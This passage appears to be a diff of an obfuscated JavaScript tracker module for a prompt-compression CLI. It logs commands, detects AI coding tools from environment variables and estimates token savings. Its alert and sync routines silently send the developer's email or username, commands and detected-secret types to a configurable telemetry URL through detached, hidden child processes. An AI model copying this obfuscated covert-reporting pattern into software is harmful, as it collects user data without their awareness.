_0x5e7648){if(!_0x501ad6[_0x2026dc(0x14f)](_0x1171a3['id']))continue;_0x44e5b5['raw_tokens']+=_0x1171a3['estimated_raw_tokens']||0x0,_0x44e5b5['compressed_tokens']+=_0x1171a3[_0x2026dc(0x139)]||0x0,_0x44e5b5['tokens_saved']+=_0x1171a3[_0x2026dc(0xf9)]||0x0;}_0x21bcd5[_0x2026dc(0x114)]=_0x44e5b5,this[_0x2026dc(0x109)]={...this[_0x2026dc(0x109)],..._0x21bcd5};try{this[_0x2026dc(0x176)]();}catch{}for(const _0x48a0b4 of _0x501ad6){try{fs[_0x2026dc(0x111)](path[_0x2026dc(0xf0)](this[_0x2026dc(0xc7)],_0x48a0b4+_0x2026dc(0xc4)));}catch{}try{fs[_0x2026dc(0x111)](path['join'](this[_0x2026dc(0xc7)],_0x48a0b4+_0x2026dc(0x13c)));}catch{}}return _0x5e7648[_0x2026dc(0x129)](_0x4e81bb=>!_0x501ad6[_0x2026dc(0x14f)](_0x4e81bb['id']));}['logExecution'](_0x4e0311,_0x4c0018,_0x35739a,_0xdc0a0f,_0x48a83b,_0x1ba9fb){const _0x70eff7=a0_0x573426,_0x3fcd40=this[_0x70eff7(0xf7)](),_0x5ab0bf=_0x4c0018[_0x70eff7(0x16d)],_0x472982=_0x35739a[_0x70eff7(0x16d)],_0x306a59=detectSessionTool(),_0x327454=_0x306a59[_0x70eff7(0xd8)],_0x50248f=_0x306a59[_0x70eff7(0xe8)]===_0x70eff7(0x155)?_0x70eff7(0xc6):_0x306a59[_0x70eff7(0xe8)];let _0xb4a56e=0x0;if(_0x50248f&&!_0x4e0311['startsWith'](_0x70eff7(0x121)))try{const {getLatestSessionFile:_0xab1c9f,loadSessionsState:_0x2ebfb5}=require(_0x70eff7(0x110)),_0x2de64f=_0xab1c9f(_0x50248f);if(_0x2de64f&&_0x2de64f['fullPath']){const _0x4ef7fb=_0x2ebfb5();_0x4ef7fb[_0x2de64f[_0x70eff7(0x113)]]&&(_0xb4a56e=_0x4ef7fb[_0x2de64f['fullPath']][_0x70eff7(0x101)]||0x0);}}catch{}const _0x5ba54f=Math[_0x70eff7(0x103)](_0x5ab0bf/0x4)+_0xb4a56e,_0x2464a5=Math[_0x70eff7(0x103)](_0x472982/0x4),_0x34ab13=Math[_0x70eff7(0x15a)](0x0,_0x5ba54f-_0x2464a5),_0x5791a4=Math[_0x70eff7(0x12b)]()[_0x70eff7(0x112)](0x24)[_0x70eff7(0x15e)](0x2,0xb);try{const {redactor:_0x51cdf2}=require(_0x70eff7(0xc9)),_0x5a5669=_0x51cdf2?_0x51cdf2[_0x70eff7(0x162)](_0x4c0018):_0x4c0018;fs[_0x70eff7(0xe1)](path[_0x70eff7(0xf0)](this[_0x70eff7(0xc7)],_0x5791a4+'.raw.txt'),_0x5a5669,'utf8'),fs[_0x70eff7(0xe1)](path[_0x70eff7(0xf0)](this[_0x70eff7(0xc7)],_0x5791a4+_0x70eff7(0x13c)),_0x35739a,'utf8');}catch{}let _0x4f616a=_0x4e0311;if(_0x4e0311[_0x70eff7(0x16b)](_0x70eff7(0x121))){const _0x19fee9=_0x4e0311[_0x70eff7(0x16f)](':')[0x1]||_0x70eff7(0xff),_0x5c985b=_0x19fee9[_0x70eff7(0xfe)](0x0)['toUpperCase']()+_0x19fee9[_0x70eff7(0x14a)](0x1);_0x4f616a=_0x5c985b+_0x70eff7(0x119);}else{if(_0x4e0311[_0x70eff7(0x16b)]('conv:')){const _0x557538=_0x4e0311[_0x70eff7(0x16f)]('\x20'),_0x522599=_0x557538[0x0][_0x70eff7(0x16f)](':')[0x1]||_0x70eff7(0xff),_0x219914=_0x522599[_0x70eff7(0xfe)](0x0)[_0x70eff7(0x174)]()+_0x522599[_0x70eff7(0x14a)](0x1),_0x45a6d2=_0x557538[_0x70eff7(0x14a)](0x1)['join']('\x20');_0x4f616a=_0x219914+'\x20Chat\x20'+_0x45a6d2;}else{const _0x507f7a=_0x4e0311[_0x70eff7(0x16f)]('\x20')[0x0]||_0x70eff7(0x153);_0x4f616a=_0x306a59[_0x70eff7(0xe8)]?_0x306a59['modelShort']?_0x306a59[_0x70eff7(0xe8)]+'-'+_0x306a59[_0x70eff7(0x132)]+'-'+_0x507f7a:_0x306a59[_0x70eff7(0xe8)]+'-'+_0x507f7a:_0x507f7a;}}const _0x6ed717={'id':_0x5791a4,'timestamp':new Date()[_0x70eff7(0x15c)](),'command':_0x4f616a,'raw_chars':_0x5ab0bf,'compressed_chars':_0x472982,'estimated_raw_tokens':_0x5ba54f,'estimated_compressed_tokens':_0x2464a5,'tokens_saved':_0x34ab13,'model_used':_0x327454,'tool':_0x50248f||_0x306a59['tool']||'','exit_code':_0xdc0a0f,'synced':![],'ai_detected':!!_0x306a59[_0x70eff7(0xe8)],'secrets_found':_0x48a83b?.[_0x70eff7(0xfa)]||0x0,'secret_types':_0x48a83b?.['secretTypes']||[],'features':_0x1ba9fb||[]};_0x3fcd40[_0x70eff7(0x100)](_0x6ed717),this[_0x70eff7(0x158)](this[_0x70eff7(0x154)](_0x3fcd40));const _0x244f68=this[_0x70eff7(0xe0)]()[_0x70eff7(0x126)];return _0x244f68&&_0x244f68[_0x70eff7(0xd1)]()[_0x70eff7(0x16d)]>0x0&&this['triggerBackgroundSync'](),_0x48a83b&&_0x48a83b[_0x70eff7(0xfa)]>0x0&&this['sendSecurityAlert'](_0x6ed717,_0x48a83b),_0x6ed717;}[a0_0x573426(0x16a)]=null;[a0_0x573426(0x123)](){const _0x20252d=a0_0x573426;if(this[_0x20252d(0x16a)])return this['cachedDevId'];try{const _0x5d3aab=require(_0x20252d(0xf5))[_0x20252d(0x10f)](_0x20252d(0xd6),{'stdio':[_0x20252d(0x141),_0x20252d(0x164),_0x20252d(0x141)],'windowsHide':!![]})[_0x20252d(0x112)]()['trim']();if(_0x5d3aab&&_0x5d3aab[_0x20252d(0x108)]('@'))return this[_0x20252d(0x16a)]=_0x5d3aab,_0x5d3aab;}catch{}try{const _0x554ae4=require('os')['userInfo']()['username'];return this[_0x20252d(0x16a)]=_0x554ae4,_0x554ae4;}catch{}return this[_0x20252d(0x16a)]=_0x20252d(0x153),'unknown';}[a0_0x573426(0x13a)](_0x50391,_0x333aac){const _0x3570cd=a0_0x573426;try{let _0x509ccc=this[_0x3570cd(0xe0)]()[_0x3570cd(0x126)]||'';if(!_0x509ccc)return;_0x509ccc=_0x509ccc[_0x3570cd(0x144)](/\/api\/telemetry\/?$/,_0x3570cd(0x10a));if(!_0x509ccc[_0x3570cd(0x108)](_0x3570cd(0x10a)))_0x509ccc+=_0x3570cd(0x10a);const _0x464ec9=this[_0x3570cd(0x123)](),_0x138091=JSON[_0x3570cd(0x156)]({'developer_id':_0x464ec9,'timestamp':_0x50391['timestamp'],'command':_0x50391[_0x3570cd(0x169)],'secrets_found':_0x333aac[_0x3570cd(0xfa)],'secret_types':_0x333aac[_0x3570cd(0x131)],'os':require('os')[_0x3570cd(0xd4)]()}),_0xb22f84=_0x3570cd(0xda)+JSON[_0x3570cd(0x156)](_0x509ccc)+_0x3570cd(0x105)+JSON['stringify'](_0x509ccc)+_0x3570cd(0x10e)+JSON[_0x3570cd(0x156)](_0x138091)+')',_0x41685f=(0x0,child_process_1[_0x3570cd(0x170)])(process[_0x3570cd(0x120)],['-e',_0xb22f84],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x41685f[_0x3570cd(0x175)]();}catch{}}[a0_0x573426(0xfb)](){const _0x1fb2dc=a0_0x573426;try{const _0x365a4d=path[_0x1fb2dc(0xf0)](__dirname,_0x1fb2dc(0x150));if(fs[_0x1fb2dc(0x13d)](_0x365a4d)){const _0x58ac68=(0x0,child_process_1['spawn'])(process[_0x1fb2dc(0x120)],[_0x365a4d],{'detached':!![],'stdio':_0x1fb2dc(0x141),'windowsHide':!![]});_0x58ac68[_0x1fb2dc(0x175)]();}}catch{}}[a0_0x573426(0xd0)](_0x289b36='auto'){const _0x2ee246=a0_0x573426,_0x11fdee=this['getLogs']();let _0x3fc514=0x0,_0x645616=0x0,_0x3c8de2=0x0;for(const _0xbfa897 of _0x11fdee){_0x3fc514+=_0xbfa897['estimated_raw_tokens'],_0x645616+=_0xbfa897[_0x2ee246(0x139)],_0x3c8de2+=_0xbfa897['tokens_saved'];}const _0x366579=this[_0x2ee246(0xe0)]()[_0x2ee246(0x114)];_0x366579&&(_0x3fc514+=_0x366579[_0x2ee246(0x15d)]||0x0,_0x645616+=_0x366579[_0x2ee246(0xe2)]||0x0,_0x3c8de2+=_0x366579[_0x2ee246(0xf9)]||0x0);let _0x2e348a=_0x289b36;(!_0x2e348a||_0x2e348a===_0x2ee246(0x142)||!exports[_0x2ee246(0x13f)][_0x2e348a])&&(_0x11fdee['length']>0x0&&_0x11fdee[_0x11fdee['length']-0x1][_0x2ee246(0xe3)]?_0x2e348a=_0x11fdee[_0x11fdee[_0x2ee246(0x16d)]-0x1][_0x2ee246(0xe3)]:_0x2e348a=this[_0x2ee246(0xe0)]()['default_model']||'claude-3-5-sonnet');const _0x6e12=exports[_0x2ee246(0x13f)][_0x2e348a]||exports['PRICING'][_0x2ee246(0xcb)],_0x1afad0=_0x3c8de2*_0x6e12[_0x2ee246(0xe5)]/0xf4240,_0x223c50=_0x3fc514*_0x6e12[_0x2ee246(0xe5)]/0xf4240,_0x15718f=_0x645616*_0x6e12[_0x2ee246(0xe5)]/0xf4240,_0x468553=_0x3fc514>0x0?_0x3c8de2/_0x3fc514*0x64:0x0;return{'total_raw_tokens':_0x3fc514,'total_compressed_tokens':_0x645616,'total_tokens_saved':_0x3c8de2,'savings_percentage':parseFloat(_0x468553[_0x2ee246(0x151)](0x1)),'money_saved_usd':parseFloat(_0x1afad0[_0x2ee246(0x151)](0x4)),'raw_cost_usd':parseFloat(_0x223c50['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x15718f[_0x2ee246(0x151)](0x4)),'model_name':_0x6e12[_0x2ee246(0xc2)],'model_key':_0x2e348a};}}exports[a0_0x573426(0xe7)]=Tracker,exports['tracker']=new Tracker();
|
|
1
|
+
'use strict';const a0_0xbf0b41=a0_0x62f7;(function(_0x569471,_0x419379){const _0x1ecf62=a0_0x62f7,_0x125f55=_0x569471();while(!![]){try{const _0x357aa5=parseInt(_0x1ecf62(0x17d))/0x1+-parseInt(_0x1ecf62(0x13c))/0x2+parseInt(_0x1ecf62(0x16e))/0x3*(parseInt(_0x1ecf62(0x105))/0x4)+parseInt(_0x1ecf62(0x124))/0x5+-parseInt(_0x1ecf62(0x134))/0x6*(-parseInt(_0x1ecf62(0x165))/0x7)+parseInt(_0x1ecf62(0x195))/0x8+-parseInt(_0x1ecf62(0x185))/0x9;if(_0x357aa5===_0x419379)break;else _0x125f55['push'](_0x125f55['shift']());}catch(_0x47c9d4){_0x125f55['push'](_0x125f55['shift']());}}}(a0_0x3f36,0xa3529));var __createBinding=this&&this['__createBinding']||(Object[a0_0xbf0b41(0x183)]?function(_0x273e79,_0x381ce1,_0x45729b,_0x497715){const _0x25a07e=a0_0xbf0b41;if(_0x497715===undefined)_0x497715=_0x45729b;var _0x58400c=Object['getOwnPropertyDescriptor'](_0x381ce1,_0x45729b);(!_0x58400c||(_0x25a07e(0x129)in _0x58400c?!_0x381ce1[_0x25a07e(0x115)]:_0x58400c[_0x25a07e(0xf7)]||_0x58400c[_0x25a07e(0x120)]))&&(_0x58400c={'enumerable':!![],'get':function(){return _0x381ce1[_0x45729b];}}),Object[_0x25a07e(0x11b)](_0x273e79,_0x497715,_0x58400c);}:function(_0x269642,_0x1a8107,_0x476c25,_0x38c0fc){if(_0x38c0fc===undefined)_0x38c0fc=_0x476c25;_0x269642[_0x38c0fc]=_0x1a8107[_0x476c25];}),__setModuleDefault=this&&this[a0_0xbf0b41(0x182)]||(Object['create']?function(_0x4c2a92,_0x24d826){const _0x4853c7=a0_0xbf0b41;Object[_0x4853c7(0x11b)](_0x4c2a92,_0x4853c7(0x116),{'enumerable':!![],'value':_0x24d826});}:function(_0x823631,_0x12fb2b){_0x823631['default']=_0x12fb2b;}),__importStar=this&&this['__importStar']||(function(){var _0x3cf644=function(_0x3d1cde){const _0x1a6984=a0_0x62f7;return _0x3cf644=Object[_0x1a6984(0x11e)]||function(_0x5b832f){const _0x2e7ac9=_0x1a6984;var _0x162ef1=[];for(var _0x5b73a5 in _0x5b832f)if(Object[_0x2e7ac9(0x17f)][_0x2e7ac9(0x111)][_0x2e7ac9(0xfd)](_0x5b832f,_0x5b73a5))_0x162ef1[_0x162ef1[_0x2e7ac9(0xf4)]]=_0x5b73a5;return _0x162ef1;},_0x3cf644(_0x3d1cde);};return function(_0x522785){const _0x39303e=a0_0x62f7;if(_0x522785&&_0x522785[_0x39303e(0x115)])return _0x522785;var _0x22b160={};if(_0x522785!=null){for(var _0x328120=_0x3cf644(_0x522785),_0x369d9e=0x0;_0x369d9e<_0x328120[_0x39303e(0xf4)];_0x369d9e++)if(_0x328120[_0x369d9e]!==_0x39303e(0x116))__createBinding(_0x22b160,_0x522785,_0x328120[_0x369d9e]);}return __setModuleDefault(_0x22b160,_0x522785),_0x22b160;};}());Object['defineProperty'](exports,a0_0xbf0b41(0x115),{'value':!![]}),exports[a0_0xbf0b41(0x18b)]=exports[a0_0xbf0b41(0x158)]=exports[a0_0xbf0b41(0x11f)]=void 0x0,exports[a0_0xbf0b41(0x149)]=detectSessionTool;function a0_0x62f7(_0x43b656,_0x362984){_0x43b656=_0x43b656-0xea;const _0x3f3638=a0_0x3f36();let _0x62f78e=_0x3f3638[_0x43b656];return _0x62f78e;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0xbf0b41(0x123))),os=__importStar(require('os')),child_process_1=require(a0_0xbf0b41(0x169));exports[a0_0xbf0b41(0x11f)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0xbf0b41(0x145),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0xbf0b41(0x10d),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0xbf0b41(0x130),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0xbf0b41(0xf2),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0xbf0b41(0x164),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0xbf0b41(0x17b),'input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0xbf0b41(0x192),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0xbf0b41(0x14c),'input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':a0_0xbf0b41(0x102),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0xbf0b41(0x18e),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0xbf0b41(0x141),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0xbf0b41(0x175),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0xbf0b41(0x131),'input_price_1m':0xf},'o1-mini':{'name':a0_0xbf0b41(0x12d),'input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0xbf0b41(0x160),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0xbf0b41(0x144),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0xbf0b41(0x15a),'input_price_1m':3.5}};function detectSessionTool(){const _0x45e3f4=a0_0xbf0b41,_0x5605c1=process.env,_0x43f394={'tool':'','model':'claude-sonnet-4-6','modelShort':''};if(_0x5605c1[_0x45e3f4(0x161)]&&exports['PRICING'][_0x5605c1['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x5605c1[_0x45e3f4(0x161)],'modelShort':''};const _0x3994c2=(_0x5605c1[_0x45e3f4(0x15d)]||'')[_0x45e3f4(0x11c)]();if(_0x3994c2){if(_0x3994c2[_0x45e3f4(0x170)](_0x45e3f4(0x128))||_0x3994c2[_0x45e3f4(0x170)](_0x45e3f4(0x15b))){const _0x44bad6=_0x5605c1[_0x45e3f4(0xf9)]==='high'?'opus':_0x45e3f4(0x101),_0x2c6aba=_0x5605c1['CLAUDE_EFFORT']===_0x45e3f4(0x125)?'claude-opus-4-8':_0x45e3f4(0x152);return{'tool':_0x45e3f4(0x194),'model':_0x2c6aba,'modelShort':_0x44bad6};}if(_0x3994c2['includes']('cursor'))return{'tool':_0x45e3f4(0x157),'model':_0x45e3f4(0x152),'modelShort':_0x45e3f4(0x101)};if(_0x3994c2[_0x45e3f4(0x170)](_0x45e3f4(0xed))||_0x3994c2[_0x45e3f4(0x170)]('copilot')){const _0x482201=_0x5605c1[_0x45e3f4(0x19d)]||'';if(_0x482201&&exports['PRICING'][_0x482201])return{'tool':_0x45e3f4(0x18a),'model':_0x482201,'modelShort':_0x482201[_0x45e3f4(0x13a)]('-')['pop']()||''};return{'tool':_0x45e3f4(0x18a),'model':_0x45e3f4(0x148),'modelShort':_0x45e3f4(0x101)};}if(_0x3994c2[_0x45e3f4(0x170)](_0x45e3f4(0x191)))return{'tool':'gemini','model':_0x45e3f4(0x147),'modelShort':'flash'};if(_0x3994c2[_0x45e3f4(0x170)](_0x45e3f4(0x132)))return{'tool':'codex','model':_0x45e3f4(0x12a),'modelShort':'o3mini'};if(_0x3994c2[_0x45e3f4(0x170)](_0x45e3f4(0x16c)))return{'tool':_0x45e3f4(0x16c),'model':_0x45e3f4(0x152),'modelShort':''};if(_0x3994c2['includes'](_0x45e3f4(0x19c)))return{'tool':_0x45e3f4(0x19c),'model':_0x45e3f4(0x108),'modelShort':'gemini'};if(_0x3994c2[_0x45e3f4(0x170)](_0x45e3f4(0x19b))||_0x5605c1[_0x45e3f4(0x119)])return{'tool':_0x45e3f4(0x19b),'model':_0x45e3f4(0x152),'modelShort':''};return{'tool':_0x3994c2['split']('_')[0x0]['split']('-')[0x0],'model':'claude-sonnet-4-6','modelShort':''};}if(_0x5605c1[_0x45e3f4(0x155)]==='1'||_0x5605c1[_0x45e3f4(0xfa)]==='1'){const _0x7108d=_0x5605c1[_0x45e3f4(0xf9)]===_0x45e3f4(0x125)?_0x45e3f4(0x189):_0x45e3f4(0x101),_0x43b488=_0x5605c1['CLAUDE_EFFORT']==='high'?_0x45e3f4(0xff):_0x45e3f4(0x152);return{'tool':_0x45e3f4(0x194),'model':_0x43b488,'modelShort':_0x7108d};}if(_0x5605c1[_0x45e3f4(0x127)]==='1')return{'tool':_0x45e3f4(0x157),'model':'claude-sonnet-4-6','modelShort':_0x45e3f4(0x101)};if(_0x5605c1[_0x45e3f4(0x143)]==='1')return{'tool':_0x45e3f4(0x191),'model':_0x45e3f4(0x147),'modelShort':_0x45e3f4(0x136)};if(_0x5605c1['COPILOT_MODEL']||_0x5605c1[_0x45e3f4(0x10b)]){const _0x43b82d=_0x5605c1[_0x45e3f4(0x19d)]||'';if(_0x43b82d&&exports[_0x45e3f4(0x11f)][_0x43b82d])return{'tool':_0x45e3f4(0x18a),'model':_0x43b82d,'modelShort':_0x43b82d[_0x45e3f4(0x13a)]('-')[_0x45e3f4(0x178)]()||''};return{'tool':'copilot','model':_0x45e3f4(0x148),'modelShort':'sonnet'};}if(_0x5605c1[_0x45e3f4(0x119)]||_0x5605c1['REPLIT_ENVIRONMENT'])return{'tool':_0x45e3f4(0x19b),'model':_0x45e3f4(0x152),'modelShort':''};if(_0x5605c1['CLINE_DATA_DIR'])return{'tool':_0x45e3f4(0x174),'model':_0x45e3f4(0x152),'modelShort':''};if(_0x5605c1[_0x45e3f4(0x12f)])return{'tool':_0x45e3f4(0x133),'model':_0x45e3f4(0x152),'modelShort':''};if(_0x5605c1[_0x45e3f4(0xf1)]==='1')return{'tool':'antigravity','model':_0x45e3f4(0x108),'modelShort':_0x45e3f4(0x191)};if(_0x5605c1[_0x45e3f4(0xf9)]){const _0xe25dca=_0x5605c1[_0x45e3f4(0xf9)]==='high'?_0x45e3f4(0x189):'sonnet',_0x15c98f=_0x5605c1[_0x45e3f4(0xf9)]==='high'?_0x45e3f4(0xff):_0x45e3f4(0x152);return{'tool':'','model':_0x15c98f,'modelShort':''};}if(_0x5605c1[_0x45e3f4(0x177)]&&exports['PRICING'][_0x5605c1[_0x45e3f4(0x177)]])return{'tool':_0x45e3f4(0x198),'model':_0x5605c1[_0x45e3f4(0x177)],'modelShort':''};if(_0x5605c1['VSCODE_PID']){const _0x339a7f=(_0x5605c1['PATH']||'')[_0x45e3f4(0x11c)]();if(_0x339a7f[_0x45e3f4(0x170)](_0x45e3f4(0x157)))return{'tool':_0x45e3f4(0x157),'model':_0x45e3f4(0x152),'modelShort':_0x45e3f4(0x101)};if(_0x339a7f[_0x45e3f4(0x170)](_0x45e3f4(0x19a)))return{'tool':_0x45e3f4(0x19a),'model':'claude-sonnet-4-6','modelShort':_0x45e3f4(0x101)};}const _0xb65c29=process.env.TRIMPROMPT_MODEL||'';if(_0xb65c29&&exports[_0x45e3f4(0x11f)][_0xb65c29])return{'tool':'','model':_0xb65c29,'modelShort':''};return _0x43f394;}const MAX_LOGS_PER_TOOL=0x32;let globalLogsMemoryCache=[],globalLogsCacheMtime=-0x1;class Tracker{[a0_0xbf0b41(0x13f)];[a0_0xbf0b41(0x12b)];[a0_0xbf0b41(0x121)];[a0_0xbf0b41(0x142)];['config'];constructor(){const _0x33ff5c=a0_0xbf0b41;this['baseDir']=path[_0x33ff5c(0xea)](os[_0x33ff5c(0xfc)](),_0x33ff5c(0x159)),this['configPath']=path[_0x33ff5c(0xea)](this['baseDir'],_0x33ff5c(0x18d)),this[_0x33ff5c(0x121)]=path[_0x33ff5c(0xea)](this[_0x33ff5c(0x13f)],'stats.json'),this[_0x33ff5c(0x142)]=path[_0x33ff5c(0xea)](this['baseDir'],_0x33ff5c(0x109)),this[_0x33ff5c(0x187)]();}[a0_0xbf0b41(0x187)](){const _0xfed4c1=a0_0xbf0b41;!fs[_0xfed4c1(0x150)](this[_0xfed4c1(0x13f)])&&fs[_0xfed4c1(0x10a)](this[_0xfed4c1(0x13f)],{'recursive':!![]});!fs['existsSync'](this[_0xfed4c1(0x142)])&&fs[_0xfed4c1(0x10a)](this[_0xfed4c1(0x142)],{'recursive':!![]});const _0xdb248b={'version':_0xfed4c1(0x137),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs[_0xfed4c1(0x150)](this[_0xfed4c1(0x12b)]))try{const _0x16c9b4=fs['readFileSync'](this[_0xfed4c1(0x12b)],_0xfed4c1(0x140));this[_0xfed4c1(0x146)]={..._0xdb248b,...JSON[_0xfed4c1(0x13d)](_0x16c9b4)};}catch(_0x1fc19c){this[_0xfed4c1(0x146)]=_0xdb248b;}else this[_0xfed4c1(0x146)]=_0xdb248b,this[_0xfed4c1(0x173)]();!fs[_0xfed4c1(0x150)](this[_0xfed4c1(0x121)])&&fs[_0xfed4c1(0x199)](this['statsPath'],JSON[_0xfed4c1(0x100)]([]),'utf8');}[a0_0xbf0b41(0x154)](){const _0x6625e7=a0_0xbf0b41;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config']['telemetry_url']=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x6625e7(0x146)];}[a0_0xbf0b41(0x14e)](_0x115316,_0x3cbf86){const _0x48cc45=a0_0xbf0b41;this[_0x48cc45(0x146)][_0x115316]=_0x3cbf86,this['saveConfig']();}[a0_0xbf0b41(0x173)](){const _0x19be5b=a0_0xbf0b41;fs['writeFileSync'](this[_0x19be5b(0x12b)],JSON[_0x19be5b(0x100)](this[_0x19be5b(0x146)],null,0x2),_0x19be5b(0x140));}[a0_0xbf0b41(0x171)](){const _0xc16355=a0_0xbf0b41;try{if(!fs[_0xc16355(0x150)](this[_0xc16355(0x121)]))return globalLogsMemoryCache;const _0x48d972=fs[_0xc16355(0x135)](this[_0xc16355(0x121)])['mtimeMs'];if(_0x48d972===globalLogsCacheMtime&&globalLogsMemoryCache[_0xc16355(0xf4)]>0x0)return globalLogsMemoryCache;const _0x4c5d2e=fs[_0xc16355(0x193)](this['statsPath'],'utf8'),_0x16ac44=JSON[_0xc16355(0x13d)](_0x4c5d2e);if(Array[_0xc16355(0x122)](_0x16ac44))return globalLogsMemoryCache=_0x16ac44,globalLogsCacheMtime=_0x48d972,_0x16ac44;}catch{}return globalLogsMemoryCache;}[a0_0xbf0b41(0x126)](_0x57dd69){const _0x24cab0=a0_0xbf0b41;globalLogsMemoryCache=_0x57dd69;const _0x480c03=this[_0x24cab0(0x121)]+_0x24cab0(0x19e);try{fs[_0x24cab0(0x199)](_0x480c03,JSON[_0x24cab0(0x100)](_0x57dd69,null,0x2),_0x24cab0(0x140)),fs[_0x24cab0(0x176)](_0x480c03,this[_0x24cab0(0x121)]);}catch{try{fs[_0x24cab0(0x199)](this['statsPath'],JSON[_0x24cab0(0x100)](_0x57dd69,null,0x2),_0x24cab0(0x140));}catch{}}}[a0_0xbf0b41(0x139)](_0x13a806){const _0xa1e183=a0_0xbf0b41,_0x19e9be=new Map();for(const _0x833425 of _0x13a806){const _0x3986e4=_0x833425[_0xa1e183(0x153)]&&_0x833425[_0xa1e183(0x153)][_0xa1e183(0x106)]()||_0x833425[_0xa1e183(0x110)]||_0xa1e183(0x11d);let _0x571adc=_0x19e9be[_0xa1e183(0x129)](_0x3986e4);!_0x571adc&&(_0x571adc=[],_0x19e9be['set'](_0x3986e4,_0x571adc)),_0x571adc[_0xa1e183(0x13e)](_0x833425);}const _0x4418ec=new Set();for(const _0x416421 of _0x19e9be['values']()){const _0x5f5be0=_0x416421[_0xa1e183(0xf4)]-MAX_LOGS_PER_TOOL;for(let _0xdcb5c3=0x0;_0xdcb5c3<_0x5f5be0;_0xdcb5c3++)_0x4418ec[_0xa1e183(0x179)](_0x416421[_0xdcb5c3]['id']);}if(_0x4418ec[_0xa1e183(0xee)]===0x0)return _0x13a806;let _0xaa909={};try{_0xaa909=JSON[_0xa1e183(0x13d)](fs[_0xa1e183(0x193)](this[_0xa1e183(0x12b)],_0xa1e183(0x140)))||{};}catch{}const _0x231da1=_0xaa909[_0xa1e183(0x113)]||{'raw_tokens':0x0,'compressed_tokens':0x0,'tokens_saved':0x0};for(const _0x4c0ce8 of _0x13a806){if(!_0x4418ec['has'](_0x4c0ce8['id']))continue;_0x231da1[_0xa1e183(0x16d)]+=_0x4c0ce8[_0xa1e183(0x184)]||0x0,_0x231da1[_0xa1e183(0xec)]+=_0x4c0ce8[_0xa1e183(0x168)]||0x0,_0x231da1[_0xa1e183(0x12c)]+=_0x4c0ce8[_0xa1e183(0x12c)]||0x0;}_0xaa909[_0xa1e183(0x113)]=_0x231da1,this[_0xa1e183(0x146)]={...this['config'],..._0xaa909};try{this[_0xa1e183(0x173)]();}catch{}for(const _0x1b66fe of _0x4418ec){try{fs[_0xa1e183(0xfe)](path['join'](this[_0xa1e183(0x142)],_0x1b66fe+_0xa1e183(0xf0)));}catch{}try{fs[_0xa1e183(0xfe)](path['join'](this[_0xa1e183(0x142)],_0x1b66fe+_0xa1e183(0x188)));}catch{}}return _0x13a806[_0xa1e183(0x163)](_0x33b83d=>!_0x4418ec[_0xa1e183(0x186)](_0x33b83d['id']));}['logExecution'](_0x60930f,_0x3e460a,_0xb73f7b,_0x264172,_0x35aa10,_0x52512c){const _0x5f47f8=a0_0xbf0b41,_0x249073=this[_0x5f47f8(0x171)](),_0x3ce439=_0x3e460a['length'],_0x72e42f=_0xb73f7b[_0x5f47f8(0xf4)],_0xf24552=detectSessionTool(),_0x4503c7=_0xf24552[_0x5f47f8(0x13b)],_0x34fa90=_0xf24552['tool']==='antigravity'?_0x5f47f8(0x191):_0xf24552[_0x5f47f8(0x153)];let _0x138999=0x0;if(_0x34fa90&&!_0x60930f[_0x5f47f8(0x12e)]('compact:'))try{const {getLatestSessionFile:_0x640390,loadSessionsState:_0x515943}=require(_0x5f47f8(0x18c)),_0x6e906f=_0x640390(_0x34fa90);if(_0x6e906f&&_0x6e906f[_0x5f47f8(0xef)]){const _0x8a51c3=_0x515943();_0x8a51c3[_0x6e906f['fullPath']]&&(_0x138999=_0x8a51c3[_0x6e906f['fullPath']][_0x5f47f8(0x17a)]||0x0);}}catch{}const _0x142247=Math[_0x5f47f8(0x14b)](_0x3ce439/0x4)+_0x138999,_0x44052e=Math['ceil'](_0x72e42f/0x4),_0x54e104=Math[_0x5f47f8(0x138)](0x0,_0x142247-_0x44052e),_0x3860e7=Math[_0x5f47f8(0x15c)]()[_0x5f47f8(0x10e)](0x24)[_0x5f47f8(0xf3)](0x2,0xb);try{const 